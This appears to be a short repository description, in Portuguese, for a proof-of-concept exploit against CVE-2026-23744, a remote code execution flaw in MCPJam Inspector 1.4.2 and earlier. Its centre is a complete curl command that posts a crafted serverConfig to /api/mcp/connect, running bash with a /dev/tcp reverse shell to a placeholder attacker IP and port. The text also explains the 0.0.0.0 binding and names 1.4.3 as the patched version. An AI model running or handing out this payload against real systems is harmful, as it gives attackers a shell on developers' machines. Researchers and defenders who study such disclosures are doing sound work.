mrr0b0t19/cve-2026-23744-pocExploit de prova de conceito para CVE-2026-23744, uma vulnerabilidade de execução remota de código no MCPJam Inspector. Demonstra RCE via requisição HTTP forjada ao endpoint /api/mcp/connect com payload de reverse shell.
PoC sobre vulnerabilidade no MCP Server.
automatizado para a parte do POST com o corpo correto.
/api/mcp/connect
curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/TUIP/TUPUERTO 0>&1"],"env":{}},"serverId":"pruebaxd"}'
MCPJam Inspector é a primeira plataforma de desenvolvimento local para servidores MCP. As versões 1.4.2 e anteriores são vulneráveis à vulnerabilidade de execução remota de código (RCE), que permite a um atacante enviar uma requisição HTTP elaborada que ativa a instalação de um servidor MCP, gerando RCE. Como o inspetor MCPJam escuta por padrão em 0.0.0.0 em vez de 127.0.0.1, um atacante pode ativar o RCE remotamente por meio de uma simples requisição HTTP. A versão 1.4.3 contém um patch.